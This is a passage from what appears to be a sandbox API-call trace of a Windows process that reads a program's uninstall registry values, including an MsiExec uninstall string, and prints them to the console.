lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.495] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.495] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.495] __iob_func () returned 0x7fefd702a80 [0150.495] _fileno (_File=0x7fefd702ab0) returned 1 [0150.495] _errno () returned 0x204bb0 [0150.495] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.495] _errno () returned 0x204bb0 [0150.495] GetFileType (hFile=0x50) returned 0x1 [0150.495] lstrlenW (lpString="MsiExec.exe /X{B175520C-86A2-35A7-8619-86DC379688B9}") returned 52 [0150.496] GetConsoleOutputCP () returned 0x1b5 [0150.496] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{B175520C-86A2-35A7-8619-86DC379688B9}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0150.496] GetConsoleOutputCP () returned 0x1b5 [0150.496] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{B175520C-86A2-35A7-8619-86DC379688B9}", cchWideChar=52, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{B175520C-86A2-35A7-8619-86DC379688B9}", lpUsedDefaultChar=0x0) returned 52 [0150.496] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0150.496] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.496] __iob_func () returned 0x7fefd702a80 [0150.496] _fileno (_File=0x7fefd702ab0) returned 1 [0150.496] _errno () returned 0x204bb0 [0150.496] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.496] _errno () returned 0x204bb0 [0150.496] GetFileType (hFile=0x50) returned 0x1 [0150.496] lstrlenW (lpString="\n") returned 1 [0150.496] GetConsoleOutputCP () returned 0x1b5 [0150.496] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.496] GetConsoleOutputCP () returned 0x1b5 [0150.496] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.496] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.496] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.497] GetProcessHeap () returned 0x3c0000 [0150.497] GetProcessHeap () returned 0x3c0000 [0150.497] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.497] GetProcessHeap () returned 0x3c0000 [0150.497] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.497] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.497] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.497] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.497] GetProcessHeap () returned 0x3c0000 [0150.497] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.497] GetProcessHeap () returned 0x3c0000 [0150.497] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.497] GetProcessHeap () returned 0x3c0000 [0150.497] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.497] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.497] __iob_func () returned 0x7fefd702a80 [0150.497] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.497] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.497] _fileno (_File=0x7fefd702ab0) returned 1 [0150.497] _errno () returned 0x204bb0 [0150.497] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.497] _errno () returned 0x204bb0 [0150.497] GetFileType (hFile=0x50) returned 0x1 [0150.497] lstrlenW (lpString=" ") returned 4 [0150.497] GetConsoleOutputCP () returned 0x1b5 [0150.497] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.497] GetConsoleOutputCP () returned 0x1b5 [0150.498] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.498] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.498] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.498] lstrlenW (lpString="URLInfoAbout") returned 12 [0150.498] __iob_func () returned 0x7fefd702a80 [0150.498] _fileno (_File=0x7fefd702ab0) returned 1 [0150.498] _errno () returned 0x204bb0 [0150.498] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.498] _errno () returned 0x204bb0 [0150.498] GetFileType (hFile=0x50) returned 0x1 [0150.498] lstrlenW (lpString="URLInfoAbout") returned 12 [0150.498] GetConsoleOutputCP () returned 0x1b5 [0150.498] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.498] GetConsoleOutputCP () returned 0x1b5 [0150.498] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0150.498] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.498] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.498] __iob_func () returned 0x7fefd702a80 [0150.498] _fileno (_File=0x7fefd702ab0) returned 1 [0150.498] _errno () returned 0x204bb0 [0150.498] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.498] _errno () returned 0x204bb0 [0150.498] GetFileType (hFile=0x50) returned 0x1 [0150.498] lstrlenW (lpString=" ") returned 4 [0150.498] GetConsoleOutputCP () returned 0x1b5 [0150.499] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.499] GetConsoleOutputCP () returned 0x1b5 [0150.499] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.499] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.499] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.499] __iob_func () returned 0x7fefd702a80 [0150.499] _fileno (_File=0x7fefd702ab0) returned 1 [0150.499] _errno () returned 0x204bb0 [0150.499] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.499] _errno () returned 0x204bb0 [0150.499] GetFileType (hFile=0x50) returned 0x1 [0150.499] lstrlenW (lpString="REG_SZ") returned 6 [0150.499] GetConsoleOutputCP () returned 0x1b5 [0150.499] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.499] GetConsoleOutputCP () returned 0x1b5 [0150.499] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.499] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.499] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.499] __iob_func () returned 0x7fefd702a80 [0150.499] _fileno (_File=0x7fefd702ab0) returned 1 [0150.499] _errno () returned 0x204bb0 [0150.499] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.500] _errno () returned 0x204bb0 [0150.500] GetFileType (hFile=0x50) returned 0x1 [0150.500] lstrlenW (lpString=" ") returned 4 [0150.500] GetConsoleOutputCP () returned 0x1b5 [0150.500] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.500] GetConsoleOutputCP () returned 0x1b5 [0150.500] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.500] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.500] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.500] __iob_func () returned 0x7fefd702a80 [0150.500] _fileno (_File=0x7fefd702ab0) returned 1 [0150.500] _errno () returned 0x204bb0 [0150.500] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.500] _errno () returned 0x204bb0 [0150.500] GetFileType (hFile=0x50) returned 0x1 [0150.500] lstrlenW (lpString="") returned 0 [0150.500] __iob_func () returned 0x7fefd702a80 [0150.500] _fileno (_File=0x7fefd702ab0) returned 1 [0150.500] _errno () returned 0x204bb0 [0150.500] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.500] _errno () returned 0x204bb0 [0150.500] GetFileType (hFile=0x50) returned 0x1 [0150.500] lstrlenW (lpString="\n") returned 1 [0150.500] GetConsoleOutputCP () returned 0x1b5 [0150.501] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.501] GetConsoleOutputCP () returned 0x1b5 [0150.501] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.501] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.501] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.501] GetProcessHeap () returned 0x3c0000 [0150.501] GetProcessHeap () returned 0x3c0000 [0150.501] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.501] GetProcessHeap () returned 0x3c0000 [0150.501] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.501] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.501] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.501] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.501] GetProcessHeap () returned 0x3c0000 [0150.502] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.502] GetProcessHeap () returned 0x3c0000 [0150.502] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.502] GetProcessHeap () returned 0x3c0000 [0150.502] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.502] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.502] __iob_func () returned 0x7fefd702a80 [0150.502] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.502] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.502] _fileno (_File=0x7fefd702ab0) returned 1 [0150.502] _errno () returned 0x204bb0 [0150.502] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.502] _errno () returned 0x204bb0 [0150.502] GetFileType (hFile=0x50) returned 0x1 [0150.502] lstrlenW (lpString=" ") returned 4 [0150.502] GetConsoleOutputCP () returned 0x1b5 [0150.502] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.502] GetConsoleOutputCP () returned 0x1b5 [0150.502] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.502] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.502] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.502] lstrlenW (lpString="URLUpdateInfo") returned 13 [0150.502] __iob_func () returned 0x7fefd702a80 [0150.502] _fileno (_File=0x7fefd702ab0) returned 1 [0150.502] _errno () returned 0x204bb0 [0150.502] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.502] _errno () returned 0x204bb0 [0150.502] GetFileType (hFile=0x50) returned 0x1 [0150.502] lstrlenW (lpString="URLUpdateInfo") returned 13 [0150.503] GetConsoleOutputCP () returned 0x1b5 [0150.503] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.503] GetConsoleOutputCP () returned 0x1b5 [0150.503] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0150.503] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.503] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.503] __iob_func () returned 0x7fefd702a80 [0150.503] _fileno (_File=0x7fefd702ab0) returned 1 [0150.503] _errno () returned 0x204bb0 [0150.503] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.503] _errno () returned 0x204bb0 [0150.503] GetFileType (hFile=0x50) returned 0x1 [0150.503] lstrlenW (lpString=" ") returned 4 [0150.503] GetConsoleOutputCP () returned 0x1b5 [0150.503] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.503] GetConsoleOutputCP () returned 0x1b5 [0150.503] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.503] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.503] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.504] __iob_func () returned 0x7fefd702a80 [0150.504] _fileno (_File=0x7fefd702ab0) returned 1 [0150.504] _errno () returned 0x204bb0 [0150.504] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.504] _errno () returned 0x204bb0 [0150.504] GetFileType (hFile=0x50) returned 0x1 [0150.504] lstrlenW (lpString="REG_SZ") returned 6 [0150.504] GetConsoleOutputCP () returned 0x1b5 [0150.504] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.504] GetConsoleOutputCP () returned 0x1b5 [0150.504] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.504] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.504] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.504] __iob_func () returned 0x7fefd702a80 [0150.504] _fileno (_File=0x7fefd702ab0) returned 1 [0150.504] _errno () returned 0x204bb0 [0150.504] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.504] _errno () returned 0x204bb0 [0150.504] GetFileType (hFile=0x50) returned 0x1 [0150.504] lstrlenW (lpString=" ") returned 4 [0150.504] GetConsoleOutputCP () returned 0x1b5 [0150.504] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.504] GetConsoleOutputCP () returned 0x1b5 [0150.505] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.505] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.505] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.505] __iob_func () returned 0x7fefd702a80 [0150.505] _fileno (_File=0x7fefd702ab0) returned 1 [0150.505] _errno () returned 0x204bb0 [0150.505] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.505] _errno () returned 0x204bb0 [0150.505] GetFileType (hFile=0x50) returned 0x1 [0150.505] lstrlenW (lpString="") returned 0 [0150.505] __iob_func () returned 0x7fefd702a80 [0150.505] _fileno (_File=0x7fefd702ab0) returned 1 [0150.505] _errno () returned 0x204bb0 [0150.505] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.505] _errno () returned 0x204bb0 [0150.505] GetFileType (hFile=0x50) returned 0x1 [0150.505] lstrlenW (lpString="\n") returned 1 [0150.505] GetConsoleOutputCP () returned 0x1b5 [0150.505] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.505] GetConsoleOutputCP () returned 0x1b5 [0150.505] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.505] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.505] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.505] GetProcessHeap () returned 0x3c0000 [0150.505] GetProcessHeap () returned 0x3c0000 [0150.505] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.506] GetProcessHeap () returned 0x3c0000 [0150.506] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.506] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.506] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.506] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.506] GetProcessHeap () returned 0x3c0000 [0150.506] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.506] GetProcessHeap () returned 0x3c0000 [0150.506] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.506] GetProcessHeap () returned 0x3c0000 [0150.506] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.506] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0xb, pcbData=0x29f780*=0x4) returned 0x0 [0150.506] __iob_func () returned 0x7fefd702a80 [0150.506] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.506] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.506] _fileno (_File=0x7fefd702ab0) returned 1 [0150.506] _errno () returned 0x204bb0 [0150.506] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.506] _errno () returned 0x204bb0 [0150.506] GetFileType (hFile=0x50) returned 0x1 [0150.506] lstrlenW (lpString=" ") returned 4 [0150.506] GetConsoleOutputCP () returned 0x1b5 [0150.506] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.506] GetConsoleOutputCP () returned 0x1b5 [0150.506] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.506] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.506] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.507] lstrlenW (lpString="VersionMajor") returned 12 [0150.507] __iob_func () returned 0x7fefd702a80 [0150.507] _fileno (_File=0x7fefd702ab0) returned 1 [0150.507] _errno () returned 0x204bb0 [0150.507] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.507] _errno () returned 0x204bb0 [0150.507] GetFileType (hFile=0x50) returned 0x1 [0150.507] lstrlenW (lpString="VersionMajor") returned 12 [0150.507] GetConsoleOutputCP () returned 0x1b5 [0150.507] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.507] GetConsoleOutputCP () returned 0x1b5 [0150.507] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0150.507] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.507] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.507] __iob_func () returned 0x7fefd702a80 [0150.507] _fileno (_File=0x7fefd702ab0) returned 1 [0150.507] _errno () returned 0x204bb0 [0150.507] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.507] _errno () returned 0x204bb0 [0150.507] GetFileType (hFile=0x50) returned 0x1 [0150.507] lstrlenW (lpString=" ") returned 4 [0150.507] GetConsoleOutputCP () returned 0x1b5 [0150.507] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.508] GetConsoleOutputCP () returned 0x1b5 [0150.508] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.508] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.508] fflush (in: _File=0x7fefd702ab0 